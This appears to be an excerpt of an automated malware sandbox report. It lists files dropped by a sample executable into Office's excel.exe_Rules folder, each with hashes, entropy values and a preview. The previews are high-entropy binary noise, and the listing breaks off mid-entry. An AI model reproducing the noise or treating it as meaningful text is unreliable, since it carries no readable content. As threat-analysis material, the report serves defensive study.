Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.865420554770857
Encrypted:	false
SSDEEP:	24:9vCLcWf6HcnUbUTyJnGT9Q2ZY4Bg8Shwujtx3oIEr4hHT6vjD8pjPCwqHYDKXq8X:NCgWt69JnGTO2ZT+VFoIEr4hz6HCPg95
MD5:	F610E74CBC0D06C8A75A6C1D07685B65
SHA1:	E91C603297F524F3EDFEC7407B6629A9FB62C39F
SHA-256:	C0DF3DFC3E36B52A8B5B526F6C923EE482831CF13A19ADDEF2F714C602EB577E
SHA-512:	ADA07F16B87267D5165D9725D2A8908A783168C3AB2CBFB0625970E8806B9C50F956B3F1FA3D0541AEFB645E486A1562F7802A4415AE09B7F17C9ADC77FF3D0B
Malicious:	false
Preview:	<?xmlB \CL>.11.w....o}.S....t[e...Y.D.Aq......z.>...h.D...GI...X@.....Uh...8.S.$.O.;...q.....f+.?....#'.k.Y .D%...2i...pt.G..E..0.P9...e..cAi..2{.....W...)Q.2..z...L..W^.n`-"....a.RkK.K.Fo..?.".B......u~.....E9.cu.~.y.q4H..j5o@...j..n..... ........n`xF........KB...........D\|.?.~.5...D......_.....n...j..u.u2.."_....^3@.w]..B}tHb.P.....@.......[.Do .i5.. ....Z'.b..R^..,...:.#?.<...0..z.....3x.qL...l..yc.6...J.D.>....c..x.....ue.I...g.!....NY...f.;/...m......Y.Ew....H.K..2a.d'T.2\9.......6O.(`..2....................0.E^...L..}....o]J9.S....Uw.....Ni>.H..o....F}.B.d<...].4....s..;...:X.....g.q.....+>..=..t..C...4N..G..._l...?....<=.<1.y.#..RO.....#.....6\|.G-...U@..a1...X..uM.5....k.K,\|..o...s.i..rI...Ds.V.-...q{',.Y...Gu.8.8O......9.....6...w. L.....$.>.......kL...u~G...0..+...Fd......'..K.i..P`.1.8.t..+ fl....!C.l....~.h..._(s..8$......?.2...p....vU..B.p.k.k.+.oP.....h.t.....`kR.4.)].^......h.*..`.i.vO6..l.....A....9.....Ib..<..j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.775460511298731
Encrypted:	false
SSDEEP:	24:YG+fEJ2mQSWA46owVlUOPXsBtYiRNKizkC2cDMMDb6lDXq8uWbD:YYXD46oYFXQvqizkKDRv6lDXFuED
MD5:	1E661E8D448F3CAD73980633EBFAA3A6
SHA1:	CAF506F63BD793C5AFB5B565AAF86C753177823A
SHA-256:	0CB5628825D96575D4FC153B9BC570E85E983D68C98A330380890E7346B8AAD0
SHA-512:	A280CC7245ECE6C3201990C83EDC83509C978B4A53A259D9988FA23EDF6B2284269491FAEC3748D653C3D0AEB56D45803E954F166FCFDB042E0B06EF5D4B2750
Malicious:	false
Preview:	<?xml..vKB.b.A.].....w:.nOU.\| ....C....`.P9...?..-.......:M.8j.]\|...U;..e.tH...N..er.Wu'....W.W.c.G.kh..p...@.L.UT...8F.8....+A&...By&}.Pq@......#.._.@._%`q.a.GCN>....K.z..:].......OH..&.../.M1\j...P.Yj.....C..Zk..j....zP_..`3..v.....^vA.e#......V .q.7.A/.......zPN.......gg.........uTG&..gj.r....2....M..t,.........e...{N...0%.~..I.s..u.Q...uW.7.3"..&..=U..\.nO..@Vu..b4'..1..F.uDE..i.$..j..-K.h.....#.2.o..A.Z...).ig..pP..H.\t...uZ.5.%.q2cP.j.(..:...g..MD@.o...y.02...j......xCQ(_.(`G..c.".&..{.\....]>.[..R.....1...F.....y.>P6;#..(k.DL.X9.<.J.>t.i....!09)...x....j;..&...G/..._${.."I....4,.......~......+...S..}...d.w6...wD....\|"2Z..eP.k=..O...v..rn.&o.4..C.....W)T.R....b.s../J..vGe....d.[b$......Z.3......{.Zhi.X..o..33.8.4.......N..k.y.fJ.@...2 ....jG1....%..bt6.._.FB....~K..?.._\..5.n.c...;.v1c-?..N}}..t.gM....:..1.QD..}090v+.&......6l...U#.H....o....`..;.\. 3....681B.9;......1..p......1w.z^.Z.:..d.....<.4...............x..5....?doc0Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.820818623262269
Encrypted:	false
SSDEEP:	24:ljU+6DX5c4rr6dbt+Zno+Hl8ZkIlRMXmy5WwRB9IzCXq8uWbD:v6DX5xXObIZoc8ZkIlRMXbRBKCXFuED
MD5:	47FAC53AD935E67D027DF14B6965B142
SHA1:	94A56313B8C28ABA9ADFC5C4991369526F6781C5
SHA-256:	3716D9C76F6726CF63EBE646C5E9A72AA40B90EAF77C2CF59C4A1661E586F006
SHA-512:	000C8060E83DA4701E5E83B181111C89101276FDC2139CD8627F6B544E7C134278367B07A2AAD51B375061F0D6290D72194C507AA3AA3E9AD410CB45B619A24E
Malicious:	false
Preview:	<?xml.N..@(.H:L..)..+$VR..D\.z....`...M..........h.[.()../.<....n...SV(...sU...+...v.6 .b..o...:..P..<.....%.......B..+..M........P..rJ.....s.....\|.r[...(..m..6.....sE.].C..D)...]./.x...D.%zG..W.t.s3.%2.X....q....K.e..h\D..+&.M..1....Yo/.?...-.).0.8..`.A.`...X~.....J'..DaR.X..5]~a.X....y.'.j1"%..D.....C.B...m1...O0p..>$x.X..]YK:...%0........=.,...Yg.....dImQ^..\f....".<n.....s......I0M.qCl.....-....h....9.>.}..G.c.....F.{"..B(...Myu.625...=..h..2..,^=$.".Dv......2..I.....7..o...f^.P...].?.A..h.......J2(D...0P..7m...O...L\|B..(k.......8.....-T.k.o.o...^...$..D&..x.f):i...xU.g.7..]....Y.%.P_[J..8....a.V.&SB. ..9....\.....d.kZ..e..@..W....e..H.8.\}.....p.l...m].H.....e../'#...o.5..$..?j........]#....0. .$.E.ZV.%.....?.......#..d...w.......J.>......L.x..c.h.....?.xZj..[vh...t..Rq..".F..0..8..sJ..S.M.sy.l.m.._._IH.^...k ....m..gJv...Y.f{...z.@d...Q.fJ%^.(.....9...^.........#\|h..8..........j.....s..A......M....9Q..F.N..t.H.k....%t.7].(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.899731479829366
Encrypted:	false
SSDEEP:	48:HuRkOv77dPmleYiB6cEccSMv5aKhu5eac08/Y7XFuED:HurEi6cEcGaKhkeeTFuQ
MD5:	665B508AF91D1FE93AA41D3B44EE7CE1
SHA1:	63BE52A59A965C29F164FC2500228C7244E19495
SHA-256:	17F2969D1ED0CFF1BAD93830D808567B74622321861173A5E023FF06ED045FB7
SHA-512:	9FD24038830833297C94C842B55C82758EA17966CC19504A8DEABB6A402AF94EBFBEC80ADD68BC256518F47D96C5D5825C3D99D8D167E112453031CFBAEAE473
Malicious:	false
Preview:	<?xmlhZ..xU..B...ZR.^1B.X.H.f<.6.~.Y.n_.....EY...?..>6...A..E6..s.... ..4.!...X.S...H..{.W....y.hA..hmq.$\|^...O..:..`.m.G.''.\..........;a..xm.@F.`..Vq.5....m...Y."..-k.^.J..G..f..Vp..CM.`..+..{.(}.r...I....p......_..~. .c.UDW>......>.Fsf?c.MS,.\|L.$..o.........i..Z..]..l....P...KX.:...q..k..i....=G....`.`{h...p-....,<.......K.j.q\.Q~Ew........+..9:Z\|...sW.4...Ch.2.....50....K.C..O..w_"..XG.).....<.p..F\|.0.-Y.[(..LmG..P/T<...d.pu.....f.j:.SV.....fl..k4"9.N.I.QU.@.T.nm6..3M...>.I..\|jl..Jn.....WK.....Gq.a42}B.....h....A.C.."....@h..>&..z'E7......h...v\|.]..,.&..A...L...2_3..Z...U.+T@Q`N.J.r...m...C.X.cw.k."....q.....n....F.t.....DT*.0^.......r. ..J.CY.^...F....%..P.H.Uif......-....6.I<i.Q(.e.b..O.....w.6.X+.S_.....0../.2..Qg.K.sS.J....Y..9..a0.9.......i.}Z.w}......Z.d.....x9...u..#....04&.;T ..s...^..6..\..Up.PY..{... ...~.3..{.)._.q..p.....@...../.r.p..h..YE..E..5...DO..=W.v...>.:O^>`&..\4......"$...._..1....Z..Z...H......6\I..g..QS9..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.659786287887336
Encrypted:	false
SSDEEP:	12:808saMV8QNghAMl1+N2UA4StQPLx/qty9L1fgCVWsujZUdkm40hq+7XqOTuWciik:8sdHNghAk1eVjOSLxey9LKCVWd30IoXp
MD5:	E66A3B69B02AC5CA613E473A0B2DDFA1
SHA1:	B6DCD357AF2D31C0C8DED2C77DFB9AA06D3E68A8
SHA-256:	A3CFB3E6C3EC35B580DD87B405A748EBA39B53A906C50C796CFD64BFD23CEACF
SHA-512:	F5C47C7F068C1E3949143C1F2271181B4A1B1AB6EDDF686183230669258F46596C874D511EB667AD930CD7886588D22BEC5DFCA5AFB44B8D55913AF69F2AE969
Malicious:	false
Preview:	<?xml.Gi..1...=..U...E...U.yBJGv..)".._^.&r.;..C. /j....=L.=.LC.....a.4..\|nS.0.}..Ng.+...[.E....y. <.8Z.`...3hU.=.\|.....9(.E......_.u...o..D/Y..p.."./..a.x.....3i.E=Q.,N..~Z:.UDR.i23.p....hqH..M..E[.......W..n...-..g .&+..3.W.2.q.6.,..UGEe.).../J..ba.U.u...\.a.>k.,..3.72H,.v..+..h(bv......m_.o..V.`k!..,4......i..\|...2S.....0.....+#7../.,.S8..W.5...Xk>.....6..LX...!.eJLI..'.....+A...-.6...c........h.D.YP....M....Ss.\|.4..."T.q.,.NV-.X2wF.d.I<K...&w.~.\|.v..m..A...V...!.4...04:9..V.........Tt.7...>"/..........-....T;.R..mn .........C.[.e.......P...*m.i...0...K..K....j....1>..y.l..n......0YS....J..SFdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.893020138065206
Encrypted:	false
SSDEEP:	48:oab9q7eMuPJufg4FaZg+CDPGYe6PI9cGXFuED:oaIHzsA+cUFuQ
MD5:	97FFAD0DC025062A9257A12E14524F73
SHA1:	B73978C0166252D7C391DD5652EFF3AF2645072B
SHA-256:	0084187B786B67F71990CD87E61AE5A745766474F27A883F63E25042030A940B
SHA-512:	ED5571224935D08B30B7B3349FA9D32D1F2E55148C6A700EC4626301EED46C39C95EBCCBA7C2C73D1EF80B76C164332BCDB8DB39F0169E771369A6CCB7FC9F90
Malicious:	false
Preview:	<?xml.o.J_....z..W.Z.K..g9..DO.O6..}n............3T...!h..X.(V.A.......E.;...]"n.Ken2..N2.q..3>....B...=.....y.>..v..Z.7S...OT...{:h...B.Q...}...nYv.".e.....b.....5p.......Q..\....q.qF.^#.......kjL.W.C`.\sym.y......H...LU.9.L...>P......J<c.P%.L....t...G?o..@%d....F.5..."..a..1..sw....D<GS.......5~...I.{...1.'.<...U.....5nA\...al.!{..1.E..(....-.Z ..>.7M.c........;)...Z!..........^(Y.a....qIq.%...,....X/]..c.?.e.!4K0.....8e...^.w3b..I......_zj"..F..S$.g_.<.=^.Ii.ubf....}t\..iD..p.?....,.jY>s1v..y=q}x...7...1R.H.=H.....!....Ve.?...[....r...5_@$....O..J..;.....\|..\|...W..>.pQ..... x..j~.TN...\|.....&..<l...8..^....oSl_5....\|......rE.1.)j...l.....O..xhT.}L.#-N...{.L..8.4P{.#..5D...&...o.....T(.w.....{...vcFL..X.".Svg...?.Gg..s\|t.g8T..s...-.2.......`.(.g....y.y!....J.b......F.g.e".Q$......M.........~.\|2M...G.'C.B..[...6'....C....3....0m.u%..uh..u.......Vx. 0..r.oAu.U.B@V.%^..\|....K."@P_.`1....Z...Xq.'....R^..T..c..O1I...2a....B.f.A..ln.a..N.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.909194977244536
Encrypted:	false
SSDEEP:	48:CwfIIjRuPvi1CKwFE5xM9mVHyw8h59n/XFuED:CTIRuPvi1eFE5G9sl85FuQ
MD5:	6A66388D283102218EA5E6CD54958F80
SHA1:	6A5CF3C45464BF74688C6781F36116D07BD0305F
SHA-256:	F38AFBFEB28E9C2AF66FECC1EA3A31E9E590E1540A73DD59E1A5B04A26293744
SHA-512:	19282647B571A6EA261F1288D14F4789BC4CE4922FE059BF235A936A2B2B53E7D8979721970E49B46F3DBB408ED31873170D47A198DEFFEA53BF9D3D8644F695
Malicious:	false
Preview:	<?xml.?...p.W...m.:.-l...].......u.5..-;.Oq.X....g.....8.......3.F&.:........9-......D..X!....@.!...S.0...$...8.....P.....?@X.n..uk`..-.....iV\|.P=....~......~K..W.a.@....V.\|......-.upY#..._..!..J.U.Y z.`ZZ.p..r.eN..T..f..V....6.]...}#.+t.+6.$^.6.o.e........\n.F&V{..$..C>o...^...Jt,.>{.....l....Ur.=C......s..... ./.........tq..;..y...DTSak....Q#W..F..z.i='..}..\|8..:p..B.V..H..).G...:..L.&...H.....c..i.......B...z-.r.{...F.eR...U.&b..w.uZ......F\|.....!i....p...<.8.x. ./.......\a.....^`...>.=...........3...bV....Y.(.F..[...{.g.YDya....^+j..i..r..n.5........:L..y}].[.=..D. .p./.....>....:.?.q<..{.$.e..;r......~..W.v.nE.....v7...n....v...~..z.&...ax...F.:.....RB.....CbL...A.mp.n..t...\|4\.....i@.......J5......2.....a...q.X...o..C.0.W?..]....k.c...0...&M..3...vSti..._.$.a...~3........I.d.](....~]$W +...I.1.S....c\|.6T..:..WL..B3@.M-..hQ\|E../.. y...t....hT......t.7;O...H..U...-..a.{.\.Ro..{....+.!....\|...O.1....U..#.6]..}Y...m`..,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8798790611979665
Encrypted:	false
SSDEEP:	48:Cz8ycWxnUSJ4fflLmnWuKHuj3tK/QryiXFuED:o8ycWxnXJoflLJd+3tK/QrFFuQ
MD5:	07A86E9EB62C176755FA92EABB134850
SHA1:	68F970B3C7660C276FCD293829B047BB0DFDB3EA
SHA-256:	70FF26DC073D3C0FC7874BC391779080826FF7575F794154E8A40137C5DD0781
SHA-512:	A2CC1F8AF0760F75441FE9647ADCFAA03AE0759E14C0D0E15E63437AD8879A7C8C009BAD91978AC4FE8005DDB7EDB9483283DBC2382078F45A98C1D9BD87D4A0
Malicious:	false
Preview:	<?xmlL......\|o.4.s...xS..pecl.cl..N..)...u(......9..Bb..O.il ..0...C.6Z.G..`.......d..SA....U.0.].K.............~F.g.$.}N5.k/.mK.t+3.I..m".....a7.......3X.p...j.A..)9.1..Hm.....N.Ec...5...x.&..z..E$]2........c.....xoM....G.....K.y...z...X.".r.ub...g......p...3.L...Li3!.R.~.4.{X.E..cX.j...4.]...p..'..X..>3.....I....8.&q........E..v.TU..Sj..O\ft&.%../d-....".C//D%..".............H[.9.5@...b..w.H.o.'.d..<..............Y.y....y......uY.sx.-.ihX..W..`}..8c...W9...\|{F....8._.}..h.....*.8(1..Yb0.-n7.Ow..Y^..Q.n..3N..+i....`..I..cK.[...4=.V@a.>C...p.....d.Pj.,.F.\.w......ly.g..%m...Y..+NB..EQ0!...T..@?0.5'.AG..%d.;Xr-.2.....?...;Oq........@)./X3./.#.`<k.x]C.....k.Awu.J...9.......z.9....Q./.N;.g`......qz1^.t........SI......{Y..6)2....R...]V./..DPgIBL..X.G/..M.?-c...p........)..0.."0.cc..E..]..=..]..:...L....]>.I_.b..o"0R8...8.!-..T'....%............>VA.b..D..Z...do"2_.G..S...$.4D.=..Z.-!.?-..> .f....X.T^I..H.."z.E?"z.1..K<.$,.a.Y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.794499253569352
Encrypted:	false
SSDEEP:	24:D50EzoQf11exZsPIamnSBvDYchQ2TmgAFVBu37NPHXq8uWbD:DJzbN1zPYn1chQ0x2VBuLpXFuED
MD5:	867757D1AE9D70C7CED339BCC6D9586F
SHA1:	AD21715C9341EE9A3C03E58689BFDAC502F450F6
SHA-256:	3B7275F38672854E9B534C736DB053CE0104513D9AD68035C3653CE8860E0AA6
SHA-512:	9D8D66B4702902B1DD76CCCE1F813427C645C2E2F727ADCDC980165E591000982498ED2746841F535A685C681366C0CECC46C453A476FD50FBE88700C741A1FE
Malicious:	false
Preview:	<?xml[...$...].I.w...OP0$....K.)+d&"Z....=.1... .\|.W..k.([.:......T...t".iR.w...+W...)Y.$P.<Xkx.1.......s..5.k\...........h....h)~.P..e_vy>....:.~g,......x...e.7.O^..G,g .Y._?.P..JQWa....[x.l...:.z....3....2...5l\|I...1.VDp6......A..Y..T.$.z.:C.e.F.\..y.!.ot.R.c..-nd...M f..x).......`..+N.Z..7......"<.+N...0.....x....D....z.b......g..l...hd....#...k......SX.Y...V.m..... ..X...J8..C..9..1...;.4>......?.&....\4H.o..,..S.e....;....D...M.s...7.(3.r...O.I.....Z..........g..t4OW.......`m..W...;.T.....}7.+..#.`}.,L....N%.%....;..`...h.)$..Yuo.....10.q'J..R}-9n..L.v...z.p..$..uz..^..0..z..k9.m..4........%....V....sg.....^.l...`.......6.fN..'..<.#YU......eQ.c..$...S+.....\.US...#.......<....@C.....nCY...;T.."...T..c.#.!/......E.w..G.Y ...a.<1M..>.{.G.v.....=....c.4.D`.%..3QR.\6&....b....(?..Q..'.j.wnD.)...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.767486048228286
Encrypted:	false
SSDEEP:	24:DVDtVia9Er2BeEGUBe6o2MLbM1RihMBOxmgXq8uWbD:xtVFWr2BbGyeBbMjgEgXFuED
MD5:	A70A1A73FBB5247B0D307192C0E31350
SHA1:	EC8F72636F122FDC06CBC39179F32B841BB84C85
SHA-256:	4E63965FF00DFC8CFDDA178D2B14516A57EE7EAA8D6B68A58B5ADE77555E5281
SHA-512:	BA98094BC79AFFB98C7387CAD5EF29EC823DD72DF10363684A4735D67AD683C2A7005D5CD55DA79ABD89B987791F09F2E1951A64008E57883231835E704685B0
Malicious:	false
Preview:	<?xml.U...]....A>.G...\(....N.......o.D..%.#..B$....."...LslM...sS~\.b.)\|X...3..i=L.y.;.&....N..'.c.......{~....(j.=.#O.T...2`L.rk`,.MDD.K=kJU......I.......E.<u..+I....\.#$L..^L.k.d6....2U....6..t@.r....`..........y..X..8..../.....\|...9e.B.)L..]<.DBB.L..'.4.g1x.A..8.."S.^.`<...9.a..+.u.Hb.w/0....#...2....(7...v'.8.1".:F.@.F^V......'...5...O.>?.9..............Jc...4....9..S.d..,..h.<.YN..n..$p5.G34.........\.V.I ....x.......O..K....yT.:...0...W.E...kV".\|.........\J....e.s5.~&..T=.'.....H...H...xS.&.....1.....$.[0M~vM....GO.{...R...X.H....-./......u.........WM1A..M2....D...i..S\...'^....}.K.m......o...8.Wu..D......`...G,"G.B.<...u..Y.Hw..4$E...]......p&.K....,..f.A.........,,...p}....U\|...Q.Ff2..t..t..Af..C..L....q.0.....((D...,K.....!h.....y.u.2\.:%......pF....%l.......="tbNHY..*....2.u.......5,..#..\...........rD.b#..AcY..W..j.Je.oj....S..]sz..[doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.92269648544741
Encrypted:	false
SSDEEP:	48:3hEZDMVVwhHMKnpY8oKCZSrpyIEM8wygRrsm0kYpSWgmJCICXFuED:6QV8Mypntf4IEMVRH05dgrIoFuQ
MD5:	5B3EC1304E2B166D7DDB46C1110DF1EB
SHA1:	CCA2575372B0500FE68662C4B3F7CEA7AF98E393
SHA-256:	BD36CFBF9A9F8EABF052C4AF6DEC5B63B8D53710F86C1C5A2D7B8608512A6B9B
SHA-512:	7FCD9F4DB5AA0991D46EE6E66565F699761C2E86789A6C5CF4CCD859E606C5A5D73BD5ED399E645F2391E81FFB6A80573DBC73840BFAA90931433C95161E5458
Malicious:	false
Preview:	<?xmlN.^.:k.<.\.R.?.8..@..>.P.{7o.B).F..YM....<+...............S.b.[...Y..o!.\.v..fk....9..Z3..h_.GuT4....&...j.L[.....i..R...nz".]...L.........U.yfvI.u..(..?.....!-.<.@u.....m......pWH..O.Z'.v.......@...l..7.^t...}.n!...e...8...L.7Af+.-...[..U4."Z.\...]C...F....;...#..4..Q.......>P..Ym..j..Q..f..X+.g./.3...%.E.......".`g.).5.....#$.z....(.w2......,.#.oMm .$..L\..VA.........)..W..F......cQ.Q.>.{l."..m.!lo,...o.X.......b=.kGy.o.`.W......%..V.s.....K.......?Vq.[6.r..Y..Kcf....A.m0P....b...B{.....c....<..T.]%P....].../.h..wa.Z.F!..{..'.w!\|?b.6..[L.:.k.s.0.x.....f..y.6M..TQ..Z...{.,%k..D...\/.8b...>.....s.....I;S.X.d.B..siIZf..Q.0.....[.+...m.Wf.4x.kJ. .oGR...1...x~.....3..~.^.k.KeMt.U.l./.=&Y..2...D............}........SQ;#9).S(.{...../.f..r......KL.}V.+P........T._J/....A.J....s4B.P....b..o&i..E.X0.....<.R.......b.......m...JD.st..Pf&.V.Aeb2.;....\|.L.P..V..M...Q..kf.H....)5.J....%.....&.G.....O...eEvB.C{....a..{M"..s..R..._A'6`.%L..;.....[U5.><

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.881764817301572
Encrypted:	false
SSDEEP:	48:K629+2sAnhEwNAHq4vQjz7gOeC3vf6+p2dxXFuED:Kr+2zpAHjvc3gWH5pWxFuQ
MD5:	EAEF5880C977779A2EC60684ED8E9C1A
SHA1:	37B63CB74F810BA89B158E51B2FAEF89F3ED0657
SHA-256:	F4D5831A4F99A9B19DE74FCF9AB046548E899EECFDFB7047CDD8DE925AC6BAB0
SHA-512:	EDB4F02A68194BDADDE8E39B9CC61911D1AB32783DF0770CF9C2EE3ABACB0A6534FD837F019AE322862E04A8E80CD48D35B6B36B42972F5CE1F712272E9EB651
Malicious:	false
Preview:	<?xml...H........2...Y.-..P.T..5...3.....s... 7.C.a....r.)E>.Xm(..[.G......M>....................4.........f... 5..>.\..(Q=o..C._.V.g.............$./....J.b.W0.m....=..hno....q..d.....tM..nS...........HZJ%_jz.............E.x.X.n.,x......D..!.Fsx....)5..7yv...^y.y...^.v...[...OA{..a...._..#.ffD.....T9.b..L......#.t.a..(..4S.K..s_J.].O..O&.V..2kB4....W..cu.tP.0.....R...-.....9k..1K.[X.....?....x._...E.?E....,.Y=._.\...o?.kP...~.#..A.b..1..j...S.Ek.P.6.9.-.%k:.Gu'z~'..F.L.....44q..d.]?.....E..!C...n..E.........JKm7>..i..lk.g.L4.ZqGh..k...>..0.%..-.lm.f_.r..\.l.~4..>...Pjt.O..".rq....P..k.n...F......8....9.-G.......uu.9S.s.>.F....y....U.X8..:Y.c\u.....24..\|..,]......%..F8.F.g&\.3........g.8.....U...)7...MO.......M,....o.@Y'f.....}T.@..q..VR}....^l....wB....d......w.L.il.U.."....N...2...Ou..r.b.~..k...2.........;.....r..."Fe-..G.S%...0>..!.....Q....2nP..:`{eq..t.4.K!.....U....N3.Z.....u..$.}......F..............(..!./?.(.....; .'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.7531703736021695
Encrypted:	false
SSDEEP:	24:mcuEHG1ycC5oZ35MvOiUsLfwTasaD1rZTHrwXq8uWbD:32C5435mTU+wTaZhcXFuED
MD5:	FAD55B84F6EDD8D50754B1BBCD0E5F34
SHA1:	52CCCFA9BFB889E8A6BB08963AC1493235EAB669
SHA-256:	94212C372F4D71B6899C117D4FF2FEAB971E70651D12E2E55908EA885F6E4BE1
SHA-512:	3EF9301359AF054A0DCD92CCE1CBF6F8A9B8996780BD6488E1D104855F2E138BF87944CCBD0B8C74BA8FF0D7D3FE71F1F7664C053658CCFC3E61994F1E0490F2
Malicious:	false
Preview:	<?xml...Z...ItH=.E..Z...........-i..S..:...j.....&.>(][h...g..4.^~....(...Q....S..D0u.t..$.cCf..S'.1...K......I5.Q..}:>..+[.8Q...#..........Aw.......:.......4.j5........N.h;.r.q...n...........].a...2[7%..N.u..g.j..a<A.{V;W......\|?..J.Q."E....y._=#H.L...c...DL.2../..B.L.>...6.U....Q.[...J...Mj...1.HO@%V..0"F0..'u..W.....n.3m.\|_&...ZB[.....;.d/.....k.QR...r..SHz7.fx.B<.?........V5X..$..2...(W....B.b$.i(..B<5.h...._a...!H..H..Y.........p.4.-.......9...e..iwK%.[.=...\|.x.U..W...........22a.,..r.''.rClm.?F^.......KJ...Yr/c..\|...l(..9+.. f.).Y+..C...<.7...6......Jx'.d...k<n.......E.....MA..G2.P.Q..M_R.tmZ+Y..!...x..X...2.....`E./RZ....+.......tWO...J.5...B2....W.GQn5..,.q6...'...5./....IE.(1.P.....3..EY..hwN....=.K..v......%\|7"....F*o.s?-.I.].{.\....W02.....D..<6..`z..u.....[.%N..ndoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.762018312377961
Encrypted:	false
SSDEEP:	24:8tO9RWd0yKKah5tX/V54ZDwwmHDeOug8bIXq8uWbD:/Ad0cwdYDc3MbIXFuED
MD5:	9E1A519E5D1450A9F11E93AE09BD637E
SHA1:	AB17ED28495FF4EB8E475E1F4AD587BF9B75229B
SHA-256:	81B2EAE048922EF89BD3244A991A9661B038B26DAAFC739746B11BBAA0D5670C
SHA-512:	684B2770D50F9BC62668F23EA024567F25BB4569ABDA5A1A70A6B6AB19303EB42C80AAEE3A2452A757AC0B664788FAE5EAA2C2D1B3D0AE1FDFAAC910EABAB6BA
Malicious:	false
Preview:	<?xml..M.y.\Ua...fmt.....l.mB....#....t...( ...}..'"{.....vJ...k..w..Q.I...A.u.g?2..m...[.a.....i[Y.[.7.p.."..z.x...8%./p....N..pAg.=.Q..e. t0up....]\.. Tgh.?^.V......'.l..51.......=...d4{.Gi.....f!..n...3...u...?...K`.....N..q.CUx.R0....5..W....70...P.{%c....KWD.pD...}....s'.....&.<{'.Z.UZ.(t./..........Hc...%4.....d.R..,..,\e.&W............./..H.....j...S....ibGKM.s..XJ..I_~......v{.....,.u..T/..7qC....#310..#_$.,"t..c..<...c9AMs....H.cW4O.2...V...2~$.r".D....W.d......N..bk...T9$..z..'-{K..$...L4.me).3`Pz.n..a.;b(.3....].tti....R\|..H.9c...lbC<...%e-...@;..mF.......:......zN.$..:..Y)..kF..)(...y...D...a...Z...X.;.......JQ.......\B...U.<. W......#M..#.?Q+u.~f".L..u,.:"F.....#[.t%z~3..Y..)......*.U^..M.....#u.w_.t.......{1..B.......5......~...!;O.mc...P...&..y-~doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.798655317255857
Encrypted:	false
SSDEEP:	24:T/qDJOxOzOA8ESuu140AlpkBFjlKdvvui9/iZXq8uWbD:2JemO0RBwD6vv2XFuED
MD5:	7D255A0B9DA8ECECA36C76607AFD4278
SHA1:	845C3596ADF939F7746A90FB970CC71292835426
SHA-256:	09BEBC3414A05275572DAB5751DB1F7254077F09FE490AEED53F20200A025CAA
SHA-512:	7EA07A823BA8AF1B6A278080F69AB201D5631E5F6F7B33C8D65850B671BACAA7F2C180BE8FC4F40CB111CBF0A2B784393121E4A5B0F6C3EBADFA108B3F63A225
Malicious:	false
